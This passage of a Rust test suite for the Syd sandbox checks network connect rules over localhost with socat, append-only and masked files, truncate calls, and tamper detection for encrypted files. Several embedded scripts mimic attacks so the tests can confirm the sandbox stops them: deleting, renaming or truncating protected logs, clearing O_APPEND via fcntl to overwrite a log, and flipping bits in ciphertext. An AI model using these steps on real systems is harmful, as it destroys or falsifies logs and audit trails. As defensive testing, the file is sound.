socat -u TCP4:127.0.0.1:$SYD_TEST_ACCEPT_PORT OPEN:msg,wronly,creat,excl || true
test -s msg && exit 127
set +x
rm -f msg
echo >&2 "[*] Allowlisting 127.0.0.1!1024-65535 for accept."
set -x
test -c '/dev/syd/block-127.0.0.1'
test -c '/dev/syd/warn/net/connect+127.0.0.1!1024-65535'
set +x
echo >&2 "[*] Connect attempt 2: expecting success..."
set -x
socat -u TCP4:127.0.0.1:$SYD_TEST_ACCEPT_PORT,forever OPEN:msg,wronly,creat,excl
wait $p
tail >&2 log
diff -u chk msg
        "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if network connect sandboxing works with accept() & IPv6.
fn test_syd_network_sandbox_accept_ipv6() -> TestResult {
    // test -s is bash, not sh!
    skip_unless_available!("bash", "shuf", "socat");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/net/connect:on")
        .arg("bash")
        .arg("-cex")
        .arg(
            r##"
test -c '/dev/syd/sandbox/net/connect?'
test -c '/dev/syd/block+::1'
set +x
p=`shuf -n1 -i31415-65535`
test -n "$SYD_TEST_ACCEPT_PORT" || SYD_TEST_ACCEPT_PORT=$p
echo >&2 "[*] Using port $SYD_TEST_ACCEPT_PORT on localhost, use SYD_TEST_ACCEPT_PORT to override."
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
:>log
echo >&2 "[*] Spawning socat to listen on ::1!$SYD_TEST_ACCEPT_PORT in the background."
set -x
socat -u -d -d FILE:chk TCP6-LISTEN:$SYD_TEST_ACCEPT_PORT,bind=[::1],forever,ipv6only 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while test `grep -c listening log || echo 0` -lt 1; do :; done
echo >&2 "[*] Connect attempt 1: expecting fail..."
set -x
socat -u TCP6:[::1]:$SYD_TEST_ACCEPT_PORT OPEN:msg,wronly,creat,excl || true
test -s msg && exit 127
set +x
rm -f msg
echo >&2 "[*] Allowlisting ::1!1024-65535 for accept."
set -x
test -c '/dev/syd/block-::1'
test -c '/dev/syd/warn/net/connect+::1!1024-65535'
set +x
echo >&2 "[*] Connect attempt 2: expecting success..."
set -x
socat -u TCP6:[::1]:$SYD_TEST_ACCEPT_PORT,forever OPEN:msg,wronly,creat,excl
wait $p
tail >&2 log
diff -u chk msg
        "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if network connect sandboxing works to allow.
fn test_syd_network_sandbox_connect_ipv4_allow() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .m("trace/allow_safe_bind:0")
        .m("allow/net/bind+127.0.0.1!4242")
        .m("allow/net/connect+127.0.0.1!4242")
        .do_("connect4", ["127.0.0.1", "4242"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if network connect sandboxing works to deny.
fn test_syd_network_sandbox_connect_ipv4_deny() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .m("trace/allow_safe_bind:0")
        .m("allow/net/bind+127.0.0.1!4242")
        .m("deny/net/connect+127.0.0.1!4242")
        .do_("connect4", ["127.0.0.1", "4242"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ECONNREFUSED);
    Ok(())
}

// Tests if network connect sandboxing works to allow.
fn test_syd_network_sandbox_connect_ipv6_allow() -> TestResult {
    if !check_ipv6() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .m("trace/allow_safe_bind:0")
        .m("allow/net/bind+::1!4242")
        .m("allow/net/connect+::1!4242")
        .do_("connect6", ["::1", "4242"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if network connect sandboxing works to deny.
fn test_syd_network_sandbox_connect_ipv6_deny() -> TestResult {
    if !check_ipv6() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .m("trace/allow_safe_bind:0")
        .m("allow/net/bind+::1!4242")
        .m("deny/net/connect+::1!4242")
        .do_("connect6", ["::1", "4242"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ECONNREFUSED);
    Ok(())
}

fn test_syd_network_sandbox_allow_safe_bind_ipv4_failure() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .m("trace/allow_safe_bind:0")
        .m("allow/net/bind+127.0.0.1!0")
        .do_("connect4_0", ["127.0.0.1"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ECONNREFUSED);
    Ok(())
}

fn test_syd_network_sandbox_allow_safe_bind_ipv4_success() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .m("trace/allow_safe_bind:1")
        .m("allow/net/bind+127.0.0.1!0")
        .do_("connect4_0", ["127.0.0.1"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_network_sandbox_allow_safe_bind_ipv6_failure() -> TestResult {
    if !check_ipv6() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .m("trace/allow_safe_bind:0")
        .m("allow/net/bind+::1!0")
        .do_("connect6_0", ["::1"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ECONNREFUSED);
    Ok(())
}

fn test_syd_network_sandbox_allow_safe_bind_ipv6_success() -> TestResult {
    if !check_ipv6() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .m("trace/allow_safe_bind:1")
        .m("allow/net/bind+::1!0")
        .do_("connect6_0", ["::1"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_handle_toolong_unix_connect() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat,write,chdir,mkdir+/***")
        .m("allow/net/bind+/***")
        .m("trace/allow_safe_bind:1")
        .do_("toolong_unix_connect", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_sendmsg_scm_rights_one() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat,write,create+/***")
        .m("allow/net/sendfd+!unnamed")
        .do_("sendmsg_scm_rights_one", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .m("allow/exec,read,stat,write,create+/***")
        .m("allow/net/sendfd+/***")
        .m("deny/net/sendfd+!unnamed")
        .do_("sendmsg_scm_rights_one", NONE)
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_sendmsg_scm_rights_many() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat,write,create+/***")
        .m("allow/net/sendfd+!unnamed")
        .do_("sendmsg_scm_rights_many", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .m("allow/exec,read,stat,write,create+/***")
        .m("allow/net/sendfd+/***")
        .m("deny/net/sendfd+!unnamed")
        .do_("sendmsg_scm_rights_many", NONE)
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_sendmmsg() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat,write,create+/***")
        .m("allow/net/bind+/***")
        .m("trace/allow_safe_bind:1")
        .do_("sendmmsg", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_handle_toolong_unix_sendto() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat,write,chdir,mkdir+/***")
        .m("allow/net/bind+/***")
        .m("trace/allow_safe_bind:1")
        .do_("toolong_unix_sendto", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_handle_toolong_unix_sendmsg() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat,write,chdir,mkdir+/***")
        .m("allow/net/bind+/***")
        .m("trace/allow_safe_bind:1")
        .do_("toolong_unix_sendmsg", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_appendonly_prevent_clobber() -> TestResult {
    skip_unless_available!("diff", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,write,create:on")
        .m("allow/read,write,create+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
test -c "/dev/syd/append+/**/*.log"
for i in {1..8}; do
    echo $i >> test.raw
    echo $i > test.log
done
diff -u test.raw test.log
:>test.log
diff -u test.raw test.log
test -c "/dev/syd/append-/**/*.log"
:>test.log
test -s test.log && exit 1 || exit 0
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_appendonly_prevent_removal() -> TestResult {
    skip_unless_available!("diff", "rm", "sh", "unlink");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,write,create,delete,truncate:on")
        .m("allow/read,write,create,delete,truncate+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.log
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.raw
rm test.log
rm -f test.log
unlink test.log
test -e test.log || exit 1
diff -u test.raw test.log
test -c "/dev/syd/append-/**/*.log"
unlink test.log
test -e test.log || exit 0 && echo test.log exists
file test.log
exit 2
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_appendonly_prevent_rename() -> TestResult {
    skip_unless_available!("diff", "mv", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,write,create,delete,rename,truncate:on")
        .m("allow/read,write,create,delete,rename,truncate+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.log
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.raw
mv test.log test.lol
test -e test.log
diff -u test.raw test.log
test -c "/dev/syd/append-/**/*.log"
mv test.log test.lol
test -e test.lol
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_appendonly_prevent_truncate() -> TestResult {
    skip_unless_available!("diff", "sh", "truncate");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,write,create,delete,truncate:on")
        .m("allow/read,write,create,delete,truncate+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.log
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.raw
truncate -s0 test.log
diff -u test.raw test.log
test -c "/dev/syd/append-/**/*.log"
truncate -s0 test.log
test -s test.log && exit 1 || exit 0
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_appendonly_prevent_ftruncate() -> TestResult {
    skip_unless_available!("diff", "python", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,write,create,delete,truncate:on")
        .m("allow/read,write,create,delete,truncate+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.log
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.raw
python <<'EOF'
import os
fd = os.open("test.log", os.O_WRONLY)
os.ftruncate(fd, 0)
EOF
diff -u test.raw test.log
python <<'EOF'
import os
fd = os.open("test.log", os.O_RDWR|os.O_TRUNC)
os.ftruncate(fd, 0)
EOF
diff -u test.raw test.log
test -c "/dev/syd/append-/**/*.log"
python <<'EOF'
import os
fd = os.open("test.log", os.O_WRONLY)
os.ftruncate(fd, 0)
EOF
test -s test.log && exit 1 || exit 0
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_appendonly_prevent_fcntl() -> TestResult {
    skip_unless_available!("diff", "python", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,write,create,delete,truncate:on")
        .m("allow/read,write,create,delete,truncate+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.log
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.raw
echo 'All your logs belong to us!' >> test.raw
cat >test.py <<'EOF'
import os, fcntl
fd = os.open("test.log", os.O_WRONLY|os.O_APPEND)
fl = fcntl.fcntl(fd, fcntl.F_GETFL)
fl &= ~os.O_APPEND
fcntl.fcntl(fd, fcntl.F_SETFL, fl)
os.lseek(fd, 0, os.SEEK_SET)
os.write(fd, b"All your logs belong to us!\n")
os.close(fd)
EOF
cat test.py
python test.py
cat test.log
diff -u test.raw test.log
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_crypt_prevent_append_change() -> TestResult {
    skip_unless_available!("diff", "python", "sh");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,write,create,delete,truncate:on")
        .m("allow/read,write,create,delete,truncate+/***")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.crypt
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.raw
echo 'All your logs belong to us!' >> test.raw
cat >test.py <<'EOF'
import os, errno, fcntl
fd = os.open("test.crypt", os.O_WRONLY|os.O_APPEND)
fl = fcntl.fcntl(fd, fcntl.F_GETFL)
fl &= ~os.O_APPEND
try:
    fcntl.fcntl(fd, fcntl.F_SETFL, fl)
    raise RuntimeError("Expected EACCES but succeeded!")
except OSError as e:
    if e.errno != errno.EACCES:
        raise
os.lseek(fd, 0, os.SEEK_SET)
os.write(fd, b"All your logs belong to us!\n")
os.close(fd)
EOF
cat test.py
python test.py
cat test.crypt
diff -u test.raw test.crypt
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mask_simple() -> TestResult {
    skip_unless_available!("diff", "readlink", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,write,create:on")
        .m("allow/read,write,create+/***")
        .argv(["sh", "-cx"])
        .arg(
            r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > tao.orig
echo 'Change return success. Going and coming without error. Action brings good fortune.' > tao.mask
abs=$(readlink -f tao.mask)
test -f "$abs" || exit 1
test -c "/dev/syd/mask+${abs}" || exit 2
test -f "$abs" || exit 3
cat tao.mask || exit 4
echo > tao.mask || exit 5
diff -u tao.orig tao.mask && exit 6
test -c "/dev/syd/mask-${abs}" || exit 7
diff -u tao.orig tao.mask || exit 8
true
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_truncate() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat,write,create,delete,truncate+/***")
        .do_("truncate", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_truncate64() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat,write,create,delete,truncate+/***")
        .do_("truncate64", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ftruncate() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat,write,create,delete,truncate+/***")
        .do_("ftruncate", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ftruncate64() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat,write,create,delete,truncate+/***")
        .do_("ftruncate64", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_kcapi_hash_block() -> TestResult {
    let status = syd()
        .p("off")
        .do_("kcapi_hash_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::EAFNOSUPPORT);

    let status = syd()
        .p("off")
        .m("trace/allow_safe_kcapi:1")
        .do_("kcapi_hash_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, 0 | nix::libc::EAFNOSUPPORT);

    let status = syd()
        .p("off")
        .m("sandbox/net:on")
        .do_("kcapi_hash_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_not_supported!(status);

    let status = syd()
        .p("off")
        .m("sandbox/net:on")
        .m("trace/allow_safe_kcapi:1")
        .do_("kcapi_hash_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, 0 | nix::libc::EAFNOSUPPORT);

    Ok(())
}

fn test_syd_kcapi_hash_stream() -> TestResult {
    let status = syd()
        .p("off")
        .do_("kcapi_hash_stream", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, nix::libc::EAFNOSUPPORT);

    let status = syd()
        .p("off")
        .m("trace/allow_safe_kcapi:1")
        .do_("kcapi_hash_stream", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, 0 | nix::libc::EAFNOSUPPORT);

    let status = syd()
        .p("off")
        .m("sandbox/net:on")
        .do_("kcapi_hash_stream", ["0"])
        .status()
        .expect("execute syd");
    assert_status_not_supported!(status);

    let status = syd()
        .p("off")
        .m("sandbox/net:on")
        .m("trace/allow_safe_kcapi:1")
        .do_("kcapi_hash_stream", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, 0 | nix::libc::EAFNOSUPPORT);

    Ok(())
}

fn test_syd_kcapi_cipher_block() -> TestResult {
    let status = syd()
        .p("off")
        .do_("kcapi_cipher_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::EAFNOSUPPORT);

    let status = syd()
        .p("off")
        .m("trace/allow_safe_kcapi:1")
        .do_("kcapi_cipher_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, 0 | nix::libc::EAFNOSUPPORT);

    let status = syd()
        .p("off")
        .m("sandbox/net:on")
        .do_("kcapi_cipher_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, 0 | nix::libc::EAFNOSUPPORT);

    let status = syd()
        .p("off")
        .m("sandbox/net:on")
        .m("trace/allow_safe_kcapi:1")
        .do_("kcapi_cipher_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, 0 | nix::libc::EAFNOSUPPORT);

    Ok(())
}

fn test_syd_crypt_bit_flip_header() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "shuf");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1 count=65536 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_bit = &SYD_BIT.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
flip_random_bit() {{
    local idx=$(shuf -i ${{1}}-${{2}} -n1)
    exec {syd_bit} -i $idx $3
}}
# Flip a random bit in the magic header (first 5 bytes).
flip_random_bit 0 39 ./test.crypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    // Bit flips in the file magic
    // will not generate a bad message
    // error. Instead it will make Syd
    // ignore those files and open them
    // as-is.
    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .do_("open", ["./test.crypt"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_bit_flip_auth_tag() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "shuf");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1 count=65536 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_bit = &SYD_BIT.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
flip_random_bit() {{
    local idx=$(shuf -i ${{1}}-${{2}} -n1)
    exec {syd_bit} -i $idx $3
}}
# Flip a random bit in the auth tag (32 bytes after the first 5 bytes).
flip_random_bit 40 295 ./test.crypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .do_("open", ["./test.crypt"])
        .status()
        .expect("execute syd");
    assert_status_bad_message!(status);

    Ok(())
}

fn test_syd_crypt_bit_flip_iv() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "shuf");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1 count=65536 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_bit = &SYD_BIT.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
flip_random_bit() {{
    local idx=$(shuf -i ${{1}}-${{2}} -n1)
    exec {syd_bit} -i $idx $3
}}
# Flip a random bit in the auth tag (16 bytes after the first 5+32 bytes).
flip_random_bit 296 423 ./test.crypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .do_("open", ["./test.crypt"])
        .status()
        .expect("execute syd");
    assert_status_bad_message!(status);

    Ok(())
}

fn test_syd_crypt_bit_flip_ciphertext() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "shuf");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1 count=65536 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_bit = &SYD_BIT.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
flip_random_bit() {{
    local idx=$(shuf -i ${{1}}-${{2}} -n1)
    exec {syd_bit} -i $idx $3
}}
# Flip a random bit in the ciphertext (starts after the first 53 bytes).
flip_random_bit 424 524711 ./test.crypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .do_("open", ["./test.crypt"])
        .status()
        .expect("execute syd");
    assert_status_bad_message!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_file_modes() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("perl");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["perl", "-e"])
        .arg(
            r##"
use strict;
use warnings;
use Fcntl qw(:DEFAULT :flock SEEK_END);
my $message = 'Change return success. Going and coming without error. Action brings good fortune.';
my $file = 'test.crypt';
open my $fh_write, '>', $file or die 'Failed to open file for writing';
print $fh_write $message;
close $fh_write;
open my $fh_read, '<', $file or die 'Failed to open file for reading';
my $line = <$fh_read>;
close $fh_read;
die 'Content mismatch in read-only step' unless $line eq $message;
open my $fh_rw, '+<', $file or die 'Failed to open file for read-write';
print $fh_rw $message;
seek $fh_rw, 0, 0;
$line = <$fh_rw>;
close $fh_rw;
die 'Content mismatch in read-write step' unless $line eq $message;
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_single_cmp_tiny_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=2 count=8 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_single_cmp_null_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/null | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_single_aes_tiny_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=2 count=8 status=none | tee ./test.plain > ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_single_aes_null_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee", "find");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/null | tee ./test.plain > ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Note, when the file is written with zero size.
    // we delete the IV to prevent IV reuse. Here
    // is to test the iv attribute indeed does not
    // exist.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
find test.crypt -type f -empty | grep .
"##,
        )
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_append_cmp_tiny_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
